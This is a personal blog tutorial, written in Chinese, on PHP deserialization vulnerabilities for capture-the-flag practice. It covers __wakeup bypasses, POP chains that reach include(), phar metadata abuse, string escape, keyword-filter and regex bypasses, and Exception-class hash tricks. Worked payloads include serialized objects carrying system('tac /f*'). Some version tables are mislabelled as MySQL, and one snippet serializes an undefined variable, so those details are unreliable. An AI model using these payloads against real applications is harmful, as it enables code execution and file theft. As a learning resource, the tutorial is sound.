R0ot's Blog

分享代码,记录生活

0%

学习反序列化漏洞

简介

简单来说,序列化是值将数据结构或是对象转换为一种格式(每种语言不太相同),目的是为了更方便储存或是传输
反序列化就是序列化的逆过程,将序列化后的数据转回原始的数据结构或对象
暂时分为phpjava两个方向来讲述反序列化漏洞(也许有一些Python),这篇主要讲述PHP的反序列化漏洞以及一些技巧

php反序列化漏洞

原理

序列化与反序列化本身并不存在问题,但是如果后端编写时导致用户能控制反序列化后的数据,用户就可以通过构造恶意序列化的数据来产生非预期对象
php序列化函数serialize(),php反序列化函数unserialize()
但是在php中,如果用户要利用反序列化漏洞,必须满足后端不正确的使用了魔术方法,在调用魔术方法时,产生了危害
流程:我们可以序列化一个可以控制属性值的对象,反序列化之后这个字符串会被还原成对象,但是序列化能表示的只有属性,不包含方法,所以想要利用这个漏洞的话,我们就需要用各种手段,将需要的属性都赋上合适的值(有时候甚至是一个对象pop链,)
简单来说就是,我们先利用这个类创建一个可控对象,再将这个对象序列化后传入后台,如果后台这个地方会反序列化,那就成功了!

魔术方法简单来说,就是在类中,满足了一定条件后,会自动触发的函数,之前写的比较详细一点

序列化含义

在 PHP 序列化后的字符串中,与序列化有关的字母包括:

1
2
3
4
5
6
7
8
9
10
a:表示数组。
i:表示整数。
b:表示布尔值。
d:表示双精度浮点数。
s:表示字符串。
N:表示 NULL 值。
O:表示对象。
C:表示自定义对象序列化。
r:表示引用。
R:表示指针引用。
  1. 序列化一个对象
    PHP 会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。序列化后的字符串以 O 开头,后面跟着类名的长度、类名、对象大小和对象中每个属性的名称和值。
    private 的属性序列化后 属性名变成 <0x00>对象<0x00>属性名
    public 属性名没有任何变化
    protected 的属性序列化后 属性名变成 <0x00>*<0x00>属性名
    特殊十六进制<0x00>表示一个空字节,如果要在url中使用要url编码后的%00
    下面是个简单的例子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    class MyClass {
    public $var1 = 'value 1';
    protected $var2 = 'value 2';
    private $var3 = 'value 3';
    }

    $a = new MyClass;
    $s = serialize($a);
    echo $s;
    ?>

    输出结果

    1
    O:7:"MyClass":3:{s:4:"var1";s:7:"value 1";s:5:"<0x00>*<0x00>var2";s:7:"value 2";s:11:"<0x00>MyClass<0x00>var3";s:7:"value 3";}
  2. 序列化一个数组
    当序列化一个数组时,会以键和键值作为对应的字符串储存
    简单的例子

    1
    2
    3
    $_SESSION["img"] = 'not';
    $_SESSION["flag"] = 'hacker!';
    echo serialize($_SESSION);

    输出结果

    1
    a:2:{s:3:"img";s:3:"not";s:4:"flag";s:7:"hacker!";}

一些技巧

构造序列化后的字符串

在存在反序列化漏洞时,我们需要传入序列化后的字符串,手动构造对一个类进行序列化时,有时容易出错
可以直接在源码后加入

1
2
3
$a = new Class;
$s = serialize($a);
echo $s;

创建一个对象后序列化,就可以简单的构造序列化后的字符串,需要注意的是,私有属性和受保护属性的属性名是有不可见字符0x00的,无法直接复制,可以用url编码%00代替

__wakeup()魔术方法绕过

  1. CVE漏洞

    1
    2
    3
    4
    5
    6
    mysql版本条件
    7.0.0 - 7.0.14
    7.1.0
    5.4.14 - 5.4.45
    5.5.0 - 5.5.38
    5.6.0 - 5.6.29

    在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
    原本:O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;} 数字2代表这个对象有两个属性
    绕过:O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;} 数字3代表这个对象有三个属性,实际只有两个,绕过__wakeup()

  2. 使用C代替O绕过

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    mysql版本条件
    5.3.0 - 5.3.29
    5.4.0 - 5.4.45
    5.5.0 - 5.5.38
    5.6.0 - 5.6.40
    7.0.0 - 7.0.33
    7.1.0 - 7.1.33
    7.2.0 - 7.2.34
    7.3.0 - 7.3.28
    7.4.0 - 7.4.16
    8.0.0 - 8.0.3

    我们传入一个类似于C:7:"MyClass":0:{},没有任何属性和值,这样就可以绕过__wakeup
    但是使用这个方法的话,反序列化出的对象只能执行construct或是__destruct,且不能给属性赋值
    O表示一个普通对象,而C表示一个自定义序列化的对象。如果一个类实现了Serializable接口并在类中定义了serialize()unserialize()方法,那么这时serialize()这个类的对象时,会生成一个以 C 开头的序列化字符串

  3. 利用反序列化字符串报错fast-destruct

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    mysql版本条件
    5.3.0 - 5.3.29
    5.4.0 - 5.4.45
    5.5.0 - 5.5.38
    5.6.0 - 5.6.40
    7.0.0 - 7.0.33
    7.1.0 - 7.1.33
    7.2.0 - 7.2.34
    7.3.0 - 7.3.28
    7.4.0 - 7.4.16
    8.0.0 - 8.0.3

    在序列化字符串最后面加上一个N;,从而触发错误并优先执行__destruct,从而实现对__wakeup的绕过。
    这种方法的原理是,在反序列化过程中,如果遇到错误,PHP会抛出一个异常。如果在类中定义了__destruct方法,那么在抛出异常之前,PHP会先调用这个方法来清理资源。因此,如果在序列化字符串最后面加上一个N;,就会触发一个错误,并且在抛出异常之前,PHP会先调用__destruct方法。
    这种方法适用于类中定义了__destruct方法,并且在这个方法中可以执行一些有用的操作的情况。但是它依赖于特定的类结构和代码逻辑,因此并不是所有情况下都能成功。
    例如 O:4:”Test”:1:{s:4:”data”;s:11:”Hello World”;N;}

引用绕过

  1. 切入点
    当代码中存在类似$this->a===$this->b的比较时可以用&,使$a永远与$b相等
    简单来说,这个方式就是将一个属性的值赋值为另一个属性的地址
    例如
    1
    2
    3
    $Test=new Test();
    $Test->a=&Test->b; //将a的值赋值为b的地址,可以实现一些绕过
    print_r(@serialize($Test));

pop链

  1. 什么是pop链
    POP链(Property Oriented Programming Chain)是一种利用PHP魔术方法进行多次跳转,最终到达关键函数,获取敏感数据。它通常与反序列化漏洞一起出现,可以理解为是反序列化漏洞利用的一种拓展,泛用性更强,涉及到的魔法方法也更多
  2. 怎么切入
    如果一个题目里出现了很多的类和魔术方法,并且出现了反序列化函数,这题很有可能是考察pop的思考,
    如果遇到这种情况,首先应该确定出发点(一般来说是可以自动触发的魔术方法)和终点(危险函数所在的魔术方法),在用逆推和正推相结合写出一条完整的链子
  3. 链子怎么写
    如果是逆推的话,先看这个方法要怎么到达,再看下面有没有符合条件的情况,比如危险函数在魔术方法__invoke中,试着去寻找有没有在方法中把属性当做函数使用的,如果有,那么把属性对象化,那不就是把对象当做函数使用,这时就会跳转到__invoke中了
  4. 例子
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    <?php
    class Modifier {
    protected $var;
    public function append($value){
    include($value);
    }
    public function __invoke(){
    $this->append($this->var);
    }
    }

    class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
    $this->source = $file;
    echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
    return $this->str->source;
    }

    public function __wakeup(){
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    echo "hacker";
    $this->source = "index.php";
    }
    }
    }

    class Test{
    public $p;
    public function __construct(){
    $this->p = array();
    }

    public function __get($key){
    $function = $this->p;
    return $function();
    }
    }

    if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
    }
    else{
    $a=new Show;
    highlight_file(__FILE__);
    }
    链子写法不一定相同,写出两种比较常见的写法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    $pop=new show();
    //实例化一个show,会触发__construct(起点)
    $pop->source=new show();
    //把第一个show的source属性实例化成show对象,这时候属性是一个对象,如果把这个show对象当做字符串,会触发show类中的__toString
    $pop->source->str=new Test();
    //把第二个show中的str属性实例化成Test对象,这时候toSting中调用了str->source,因为在Test对象中调用了不存在的属性,会触发Test类中的__get
    $pop->source->str->p=new Modifier();
    //把第三个Test类中的p属性实例化成Modifier对象,这时候__get中把属性p当做函数使用,属性p是Modifier对象,这时候会触发Modifier类中的__invoke(终点危险函数include)
    echo urlencode(serialize($pop)); //url编码防止有不可见字符<0x00>
    //记得将Modifier类中$var属性赋值,因为序列化时会保留成员属性的值,所有直接写在类中就行
    一样的意思,感觉哪个舒服写哪个
    1
    2
    3
    4
    5
    6
    7
    8
    9
    $one = new show();
    $oneone=new show();
    $two = new Test();
    $three = new Modifier();

    $one->source=$oneone;
    $oneone->str=$two;
    $two->p=$three;
    echo urlencode(serialize($pop));

反序列化字符逃逸

大佬讲解

  1. 什么情况下会产生反序列化逃逸
    如果开发人员先将用户输入的数据序列化后,再进行过滤或替换,最后再进行反序列化,这样的处理流程可能产生反序列化逃逸
    serialize -> filter -> unserialize

  2. 原理
    关键字符在序列化后被过滤替换掉了,但序列化时,会记录字符长度,这个长度是不会变的,在读取字符时,仍会按照原来的长度进行读取.如果过滤后变短了,则会向后读取字符,如果替换后变长了,则会提前终止读取
    同时反序列化还有一个问题,如果遇到了}就会认为已经结束,后面的字符就会被丢弃
    可以结合两个特点,控制读取的内容从而达到控制键值对,破坏掉原来的结构,从而实现反序列化逃逸

  3. payload构造
    $_SESSION['flagphp']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'
    如果将这段代码序列化后得到
    a:1:{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
    原本效果

    1
    2
    3
    4
    Array
    (
    [flagphp] =>;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
    )

    如果过滤了flag和php得到
    a:1:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
    最后效果

    1
    2
    3
    4
    5
    Array
    (
    [";s:48:] =>1
    [img] => ZDBnM19mMWFnLnBocA==
    )

phar反序列化漏洞

  1. 什么是phar
    Phar文件是 PHP 中的一种打包压缩文件,类似于Java中的JAR包。它可以将多个PHP文件打包成一个文件,方便应用程序的打包和组件化。
    Phar 文件由四个部分组成:

    1. Stub,它可以被解释为一个标记,格式为 xxx<?php xxx; __HALT_COMPILER ();?>。前面的内容不受限制,但必须以 __HALT_COMPILER ();?> 结尾,否则phar扩展将无法识别该文件为phar文件;
    2. 文件清单Manifest,描述了文件的内容,这里面有个关键概念元数据,元数据(meta-data)manifest中的用户自定义数据,它可以包含任意类型的序列化数据,用于存储有关Phar文件的额外信息。当使用phar://伪协议读取phar文件时,元数据会被反序列化,这就是phar反序列化漏洞的成因。
    3. 文件内容file contents,包含了被压缩的文件内容
    4. 签名signature(可选),用于验证 Phar 文件的完整性1。
  2. 漏洞利用条件
    什么样的情况下我们会考虑这个漏洞

    1. 代码本身就存在反序列化漏洞,但是没有unserialize()反序列化函数,可以用这种方式进行反序列化创建对象(实际上这个文件的利用就是为了代替反序列化函数)
    2. 使用了文件系统函数(如file_exists()is_dir(),file_get_contents()file(),unlink等)且参数可控(参数即为phar文件),且没有对phar://伪协议进行过滤(这些函数在处理phar文件时,都会触发反序列化)
    3. 网站有文件上传的功能,并且只是识别后缀,我们可以上传phar文件,将后缀改成图片.因为使用 PHP 伪协议(例如 phar://)访问一个文件时,PHP 只检查文件的内容而不是文件扩展名来确定它是否为一个有效的 phar 文件。
  3. 流程

    1. 先构造pop链,或是其他序列化的字符串,将内容写入phar文件
    2. 上传phar文件,并获得文件地址
    3. 使用伪协议phar://+文件地址访问,这时候,就会将内容进行反序列化了
  4. 代码以及代码解释
    运行下面这段代码,将会生成一个phar文件,这个生成的文件就是我们要上传的文件

    1
    2
    3
    4
    5
    6
    7
    $phar = new Phar("test.phar"); //文件名,后缀名必须为phar
    $phar->startBuffering(); //开始缓冲,这意味着对 Phar 文件的修改不会立即写入磁盘
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($pop); //传入pop链或者序列化字符串,会将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();

    下面是对这段代码每一行的详细解释:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    $phar = new Phar("test.phar");
    //使用 PHP 的 Phar 类,创建一个 Phar 对象,用于操作名为 test.phar 的 Phar 文件。
    $phar->startBuffering();
    //开始缓冲,这意味着对 Phar 文件的修改不会立即写入磁盘
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    //设置 Phar 文件的 stub。stub 是 Phar 文件中的一段代码,它在 Phar 文件被包含或执行时首先运行。在这个例子中,stub 只包含一个 __HALT_COMPILER() 函数调用,它告诉 PHP 解释器停止编译。
    $phar->setMetadata($pop);
    //将 $pop 设置 Phar 文件的元数据。元数据是一个任意的序列化变量,它存储在 Phar 文件的 manifest 中。在这个例子中,元数据被设置为变量 $pop 的值。
    $phar->addFromString("test.txt", "test");
    //向 Phar 文件中添加一个文件。这个方法接受两个参数:文件名和文件内容。在这个例子中,我们向 Phar 文件中添加了一个名为 test.txt 的文件,它的内容为字符串 "test"。
    $phar->stopBuffering();
    //停止缓冲并将修改写入磁盘。这一行代码会将前面对 Phar 文件所做的修改一次性写入磁盘。

    总之,这段代码创建了一个名为 test.phar 的 Phar 文件,并向其中添加了一个文件和一些元数据

  5. 注意点
    要想使用上面的代码创建phar文件,必须要在php.ini中进行设置,否则会报错
    我用的是PHPstorm和小皮的环境,生成的文件会在phpstudy_pro\WWW目录下
    AI的回答

16进制绕过

  1. 切入点
    当代码中存在关键词检测时,将表示字符类型的小写s改为大写S来绕过检测,原理是,序列化字符串中表示字符类型的S为大写时,字符串遇到\+16进制数就会解析
    例如
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <?php
    class test{
    public $username;
    public function __destruct(){
    echo 'you are'.$this->username."\n";
    if($this->username == 'admin') {
    echo 'success';
    }
    }
    }
    function check($data){
    if(preg_match('/username/', $data)){
    echo("nonono!!!\n");
    }
    else{
    return $data;
    }
    }
    // 未作处理前,会被waf拦截
    $a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
    $a = check($a);
    unserialize($a);
    //将小s改为大S; 做处理后 \75是u的16进制
    $a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
    $a = check($a);
    unserialize($a);
    输出结果
    1
    2
    3
    nonono!!!  //第一个被waf拦截
    you are admin //成功绕过
    success

原生类(内置类)的利用

  1. 什么是原生类
    原生类就是php中内置的类,简单可以理解为,PHP语言帮你定义好了这个类的全部,我们不需要定义写出也能直接实例化
    原生类和普通类本质上没什么不同,都是由属性和方法(魔术方法)组成,比如之前的Phar也是php的一种原生类
    原生类是为了帮助开发人员更快的实现一些功能,但是有时候某些原生类处理不当也会带来一些安全问题,这里先介绍几个ctf中比较常见的原生类

  2. Exception类与Error类

    1
    2
    3
    适用版本
    Error:用于PHP7、8。
    Exceotion:用于PHP5、7、8

    这两个原生类没有很大区别,Error类和Exception类都继承自Throwable接口。两个类都可以用来处理错误和异常情况,但它们的用途不同。Error类表示严重的错误,通常无法恢复,而Exception类表示可以恢复的异常.
    我们主要利用这两个类中的__tostring魔术方法来构造一些内容去绕过一些比较,或是构造XSS
    类中的哈希绕过:
    if(($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)))
    由之前的学习可以知道echo一个对象时,由于对象被当成了字符串,会触发__tostring魔术方法,因为函数md5()sha1()期望接受到的是字符串,所以也会触发__tostring
    因为我们创建的对象不同,但是__tostring返回的内容相同,所以我们可以利用这个来绕过上面的哈希比较
    例如

    1
    2
    3
    4
    5
    6
    $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
    $a=new Exception($str,1);$b=new Exception($str,2);
    $c = new SYCLOVER();
    $c->syc = $a;
    $c->lover = $b;
    echo(urlencode(serialize($c)));

    需要注意的是,两个错误类实例化必须要在同一行,因为tostring返回的代码包括了行数
    解释一下这段代码,$str的内容作为异常信息,异常信息会被tostring返回,所以我们可以控制其中的内容,数字1和2是错误代码,来表示异常的类型或原因,不会被tostring返回
    ?><?=include~".urldecode("%D0%99%93%9E%98")."?>这段代码是为了配合命令执行漏洞使用,?>是为了实现前面错误信息的闭合,后面可以写入完整的我们想要实现的代码

正则绕过

如果后端对输入的数据先进行了一些正则匹配的过滤,我们也可以试着采取一些绕过手法

  1. 利用+绕过O
    preg_match('/^O:\d+/i',$data)这个正则表达式'/^O:\d+/i'匹配以大写字母O开头,后面紧跟一个或多个数字的字符串
    如果后端利用这个正则来确保用户输入的不是一个序列化的对象,我们可以使用加号+绕过
    类似于 O:**+*4:”Test”:1:{s:4:”name”;s:18:”system(‘tac /f‘);”;}
    需要注意的是在url里传参时+要编码为%2B,要不然+会被识别成空格

  2. 利用数组绕过O
    还是适用于前面那种情况,不过把对象放在一个数组中来避免来以O开头

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    class Test{
    public $name="system('tac /f*');";
    }

    $a = new Test();
    echo serialize(array($a));
    //结果 a:1:{i:0;O:4:"Test":1:{s:4:"name";s:18:"system('tac /f*');";}}
    ?>
  3. 匹配}
    preg_match('/\}$/',$data)匹配以大括号}结尾的字符串
    绕过原理 反序列化字符串末尾所有的}是全部可以删掉的,甚至可以末尾填充字符,反序列化时没有影响

不可见字符绕过(类属性不敏感)

对此相当无语,如果对输入进行了过滤,过滤了不可见字符,也就意味着<0x00>也是被过滤的,如果类中有受保护或者私有属性,序列化不可避免的会有<0x00>这时候试着将属性的类型改成public再进行实例化
因为PHP7.1+对类的属性类型不敏感,你传进去public代替其他两种也没事,这个没有不可见字符

session反序列化